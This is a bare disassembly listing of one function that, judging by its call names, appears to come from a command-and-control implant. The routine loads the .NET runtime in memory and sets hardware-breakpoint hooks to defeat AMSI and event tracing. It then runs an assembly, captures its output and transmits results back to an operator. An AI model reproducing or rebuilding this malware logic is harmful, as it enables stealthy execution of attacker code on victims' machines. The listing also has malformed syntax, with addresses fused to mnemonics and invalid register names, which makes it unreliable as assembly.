140011f41mov r13, [rcx+8]
140011f45mov rsi, [rcx]
140011f48mov ecx, 6
140011f4dlea rdi, [rsp+152]
140011f55mov [rsp+116], ebx
140011f59mov r14, [rdx]
140011f5crep stosd [rdi], eax
140011f5emov [rsp+128], r11
140011f66mov [rsp+136], r11
140011f6emov [rsp+144], r11
140011f76mov [rsp+120], ebx
140011f7atest r13l, r13l
140011f7dje 0x14001201f
140011f83test rsi, rsi
140011f86je 0x14001201f
140011f8cmov rbx, [rip+0x1a3dd]
140011f93xor r9l, r9l
140011f96xor r10l, r10l
140011f99mov r8l, 4
140011f9fmov edx, 0x80003
140011fa4mov rdi, [rbx+2266]
140011fabmov rcx, [rdi+8]
140011fafmov [rsp+56], r9
140011fb4mov r9l, 255
140011fbamov [rsp+48], r10l
140011fbfmov [rsp+40], 0x50000
140011fc7mov [rsp+32], 0x50000
140011fcfcall [rbx+844]
140011fd5mov [rdi+72], rax
140011fd9mov rdi, [rbx+2266]
140011fe0cmp [rdi+72], 0
140011fe5jne 0x140012026
140011fe7mov rax, [rbx+2230]
140011feemov r8l, 48
140011ff4lea rdx, [rip+0x1b115]
140011ffblea rcx, [rip+0x1590e]
140012002mov r9l, [rax+104]
140012006
140012006loc_140012006:
140012006call printf
14001200bmov rax, [rbx+2230]
140012012mov ecx, 1
140012017mov edx, [rax+104]
14001201acall PackageTransmitError
14001201f
14001201floc_14001201f:
14001201fxor eax, eax
140012021jmp 0x1400126a3
140012026
140012026loc_140012026:
140012026xor r8l, r8l
140012029mov rcx, [rdi+8]
14001202dxor r9l, r9l
140012030mov edx, 0x40000000
140012035mov [rsp+48], r8
14001203amov r8l, 1
140012040mov [rsp+40], 128
140012048mov [rsp+32], 3
140012050call [rbx+812]
140012056mov [rdi+80], rax
14001205atest rax, rax
14001205djne 0x140012080
14001205fmov rax, [rbx+2230]
140012066mov r8l, 56
14001206clea rdx, [rip+0x1b09d]
140012073lea rcx, [rip+0x158ca]
14001207amov r9l, [rax+104]
14001207ejmp 0x140012006
140012080
140012080loc_140012080:
140012080call [rbx+1652]
140012086test rax, rax
140012089jne 0x1400120a7
14001208bcall [rbx+1636]
140012091call [rbx+1652]
140012097mov rcx, rax
14001209atest rax, rax
14001209dje 0x1400120a7
14001209fxor edx, edx
1400120a1call [rbx+1660]
1400120a7
1400120a7loc_1400120a7:
1400120a7mov rax, [rbx+2266]
1400120aelea r12, [rip+0x155a1]
1400120b5mov rcx, [rax+40]
1400120b9lea rdx, [rax+152]
1400120c0lea r9, [rax+168]
1400120c7lea r8, [rax+160]
1400120cecall ClrCreateInstance
1400120d3test eax, eax
1400120d5jne 0x1400120f8
1400120d7lea r9, [rip+0x15895]
1400120demov r8l, 75
1400120e4lea rdx, [rip+0x1b025]
1400120ebmov rcx, r12
1400120eecall printf
1400120f3jmp 0x14001201f
1400120f8
1400120f8loc_1400120f8:
1400120f8cmp [rbx+223], 1
1400120ffjne 0x140012249
140012105lea r9, [rip+0x1587a]
14001210cmov r8l, 108
140012112mov rcx, r12
140012115mov edi, 1
14001211alea rdx, [rip+0x1afef]
140012121call printf
140012126mov rax, [rbx+2266]
14001212dmov ecx, 8193
140012132mov edx, [rax]
140012134call PackageCreateWithRequestID
140012139mov edx, 1
14001213emov rcx, rax
140012141mov [rsp+72], rax
140012146call PackageAddInt32
14001214bcmp [rbx+2214], 0
140012153jne 0x14001215c
140012155call RtAmsi
14001215amov edi, eax
14001215c
14001215cloc_14001215c:
14001215clea rdx, [rip+0x1afad]
140012163mov rcx, r12
140012166lea r9, [rip+0x15835]
14001216dmov r8l, 119
140012173call printf
140012178xor edx, edx
14001217axor ecx, ecx
14001217ccall HwBpEngineInit
140012181test eax, eax
140012183js 0x14001201f
140012189mov rax, [rbx+2230]
140012190mov r15l, [rax+72]
140012194test edi, edi
140012196je 0x1400121e3
140012198lea r9, [rip+0x15814]
14001219fmov r8l, 130
1400121a5lea rdx, [rip+0x1af64]
1400121acmov rcx, r12
1400121afcall printf
1400121b4xor edx, edx
1400121b6mov r8, [rbx+2020]
1400121bdxor ecx, ecx
1400121bfmov [rsp+32], edx
1400121c3lea r9, [rip+15062]
1400121camov edx, r15l
1400121cdcall HwBpEngineAdd
1400121d2mov edi, eax
1400121d4test eax, eax
1400121d6jns 0x1400121e3
1400121d8mov r9l, eax
1400121dbmov r8l, 132
1400121e1jmp 0x14001222c
1400121e3
1400121e3loc_1400121e3:
1400121e3lea r9, [rip+0x1582d]
1400121eamov r8l, 138
1400121f0lea rdx, [rip+0x1af19]
1400121f7mov rcx, r12
1400121facall printf
1400121ffmov r8, [rbx+748]
140012206xor ecx, ecx
140012208mov edx, r15l
14001220bmov [rsp+32], 1
140012213lea r9, [rip+15046]
14001221acall HwBpEngineAdd
14001221ftest eax, eax
140012221jns 0x14001223f
140012223mov r9l, edi
140012226mov r8l, 140
14001222c
14001222cloc_14001222c:
14001222clea rdx, [rip+0x1aedd]
140012233lea rcx, [rip+0x1579f]
14001223ajmp 0x14001267e
14001223f
14001223floc_14001223f:
14001223fmov rcx, [rsp+72]
140012244call PackageTransmit
140012249
140012249loc_140012249:
140012249mov rax, [rbx+2266]
140012250mov ecx, 8193
140012255mov edx, [rax]
140012257call PackageCreateWithRequestID
14001225cmov edx, 2
140012261mov rcx, rax
140012264mov rdi, rax
140012267call PackageAddInt32
14001226cmov rax, [rbx+2266]
140012273mov rcx, rdi
140012276mov rdx, [rax+40]
14001227amov r8l, [rax+48]
14001227ecall PackageAddBytes
140012283mov rcx, rdi
140012286call PackageTransmit
14001228bmov rdi, [rbx+2266]
140012292xor eax, eax
140012294lea r8, [rsp+128]
14001229cmov edx, 1
1400122a1mov ecx, 17
1400122a6mov [rsp+128], r13l
1400122aemov [rsp+132], eax
1400122b5call [rbx+1300]
1400122bblea r9, [rip+0x15779]
1400122c2mov r8l, 165
1400122c8mov rcx, r12
1400122cbmov [rdi+136], rax
1400122d2lea rdx, [rip+0x1ae37]
1400122d9call printf
1400122demov rax, [rbx+2266]
1400122e5xor r8l, r8l
1400122e8mov rcx, [rax+168]
1400122efmov rdx, [rax+24]
1400122f3lea r9, [rax+184]
1400122famov r10, [rcx]
1400122fdcall [r10+96]
140012301mov r8l, 167
140012307lea rdx, [rip+0x1ae02]
14001230elea rcx, [rip+0x15736]
140012315mov r9l, eax
140012318test eax, eax
14001231ajne 0x14001267e
140012320lea r9, [rip+0x1574d]
140012327mov r8l, 171
14001232dlea rdx, [rip+0x1addc]
140012334mov rcx, r12
140012337call printf
14001233cmov rax, [rbx+2266]
140012343lea rdx, [rip+0x12cb6]
14001234amov rcx, [rax+184]
140012351lea r8, [rax+192]
140012358mov r9, [rcx]
14001235bcall [r9]
14001235emov r8l, 173
140012364lea rdx, [rip+0x1ada5]
14001236blea rcx, [rip+0x15714]
140012372mov r9l, eax
140012375test eax, eax
140012377jne 0x14001267e
14001237dmov rax, [rbx+2266]
140012384lea rdx, [rsp+136]
14001238cmov rcx, [rax+136]
140012393call [rbx+1284]
140012399mov r8l, 178
14001239flea rdx, [rip+0x1ad6a]
1400123a6lea rcx, [rip+0x15704]
1400123admov r9l, eax
1400123b0test eax, eax
1400123b2jne 0x14001267e
1400123b8lea r9, [rip+0x15722]
1400123bfmov r8l, 182
1400123c5lea rdx, [rip+0x1ad44]
1400123ccmov rcx, r12
1400123cfcall printf
1400123d4mov rdi, [rsp+136]
1400123dcmov ecx, r13l
1400123dfrep movsb [rdi], [rsi]
1400123e1mov rax, [rbx+2266]
1400123e8mov rcx, [rax+136]
1400123efcall [rbx+1292]
1400123f5mov r9l, eax
1400123f8test eax, eax
1400123faje 0x140012429
1400123fclea rdx, [rip+0x1ad0d]
140012403lea rcx, [rip+0x156f2]
14001240amov r8l, 186
140012410call printf
140012415mov rax, [rbx+2230]
14001241cmov ecx, 1
140012421mov edx, [rax+104]
140012424call PackageTransmitError
140012429
140012429loc_140012429:
140012429lea r9, [rip+0x156fe]
140012430mov r8l, 190
140012436lea rdx, [rip+0x1acd3]
14001243dmov rcx, r12
140012440call printf
140012445mov rax, [rbx+2266]
14001244cmov rcx, [rax+192]
140012453mov rdx, [rax+136]
14001245alea r8, [rax+176]
140012461mov r9, [rcx]
140012464call [r9+360]
14001246bmov r8l, 192
140012471lea rdx, [rip+0x1ac98]
140012478lea rcx, [rip+0x156c1]
14001247fmov r9l, eax
140012482test eax, eax
140012484jne 0x14001267e
14001248alea r9, [rip+0x156d5]
140012491mov r8l, 196
140012497lea rdx, [rip+0x1ac72]
14001249emov rcx, r12
1400124a1call printf
1400124a6mov rdx, [rbx+2266]
1400124admov rcx, [rdx+176]
1400124b4add rdx, 200
1400124bbmov rax, [rcx]
1400124becall [rax+128]
1400124c4mov r8l, 198
1400124calea rdx, [rip+0x1ac3f]
1400124d1lea rcx, [rip+0x156a5]
1400124d8mov r9l, eax
1400124dbtest eax, eax
1400124ddjne 0x14001267e
1400124e3mov rsi, [rbx+2266]
1400124eaxor edx, edx
1400124ecmov ecx, 12
1400124f1mov [rsp+72], eax
1400124f5mov r8l, 1
1400124fbcall [rbx+1308]
140012501lea rdx, [rsp+116]
140012506mov rcx, r14
140012509mov [rsi+144], rax
140012510call [rbx+1628]
140012516mov rdi, [rbx+2266]
14001251dxor edx, edx
14001251fmov ecx, 8
140012524mov rsi, rax
140012527mov eax, [rsp+116]
14001252bmov [rdi+208], 8200
140012534lea r8l, [rax-1]
140012538mov [rsp+116], r8l
14001253dcall [rbx+1308]
140012543mov r9l, [rsp+72]
140012548mov [rdi+216], rax
14001254flea rdi, [rsp+124]
140012554
140012554loc_140012554:
140012554mov [rsp+124], r9l
140012559mov r12, [rbx+1316]
140012560cmp [rsp+116], r9l
140012565jle 0x1400125b6
140012567movsxd r9, r9l
14001256amov rcx, [rsi+8*r9+8]
14001256fcall [rbx+1332]
140012575mov rdx, rdi
140012578mov r8, rax
14001257bmov rax, [rbx+2266]
140012582mov rcx, [rax+216]
140012589call r12
14001258cmov r9l, eax
14001258ftest eax, eax
140012591je 0x1400125ac
140012593mov r8l, 213
140012599lea rdx, [rip+0x1ab70]
1400125a0lea rcx, [rip+0x15606]
1400125a7jmp 0x14001267e
1400125ac
1400125acloc_1400125ac:
1400125acmov eax, [rsp+124]
1400125b0lea r9l, [rax+1]
1400125b4jmp 0x140012554
1400125b6
1400125b6loc_1400125b6:
1400125b6mov rax, [rbx+2266]
1400125bdlea rdx, [rsp+120]
1400125c2mov rcx, [rax+144]
1400125c9lea r8, [rax+208]
1400125d0call r12
1400125d3mov r8l, 219
1400125d9lea rdx, [rip+0x1ab30]
1400125e0lea rcx, [rip+0x155fb]
1400125e7mov r9l, eax
1400125eatest eax, eax
1400125ecjne 0x14001267e
1400125f2mov rsi, [rbx+2266]
1400125f9mov ecx, -11
1400125fecall [rbx+1668]
140012604mov ecx, -11
140012609mov [rsi+88], rax
14001260dmov rax, [rbx+2266]
140012614mov rdx, [rax+80]
140012618call [rbx+1676]
14001261emov rax, [rbx+2266]
140012625mov rdx, [rsp+168]
14001262dmovups x0, [rsp+152]
140012635mov rcx, [rax+200]
14001263cmov [rsp+96], rdx
140012641lea r9, [rax+232]
140012648lea rdx, [rsp+80]
14001264dmovups [rsp+80], x0
140012652mov r8, [rax+144]
140012659mov r10, [rcx]
14001265ccall [r10+296]
140012663mov r9l, eax
140012666test eax, eax
140012668je 0x140012688
14001266amov r8l, 227
140012670lea rdx, [rip+0x1aa99]
140012677lea rcx, [rip+0x15594]
14001267e
14001267eloc_14001267e:
14001267ecall printf
140012683jmp 0x14001201f
140012688
140012688loc_140012688:
140012688mov rax, [rbx+2266]
14001268fmov [rax+256], 1
140012699call DotnetPush
14001269emov eax, 1
1400126a3
1400126a3loc_1400126a3:
1400126a3lea rsp, [rbp-56]
1400126a7pop rbx
1400126a8pop rsi
1400126a9pop rdi
1400126aapop r12
1400126acpop r13
1400126aepop r14
1400126b0pop r15
1400126b2pop rbp
1400126b3ret
140011f20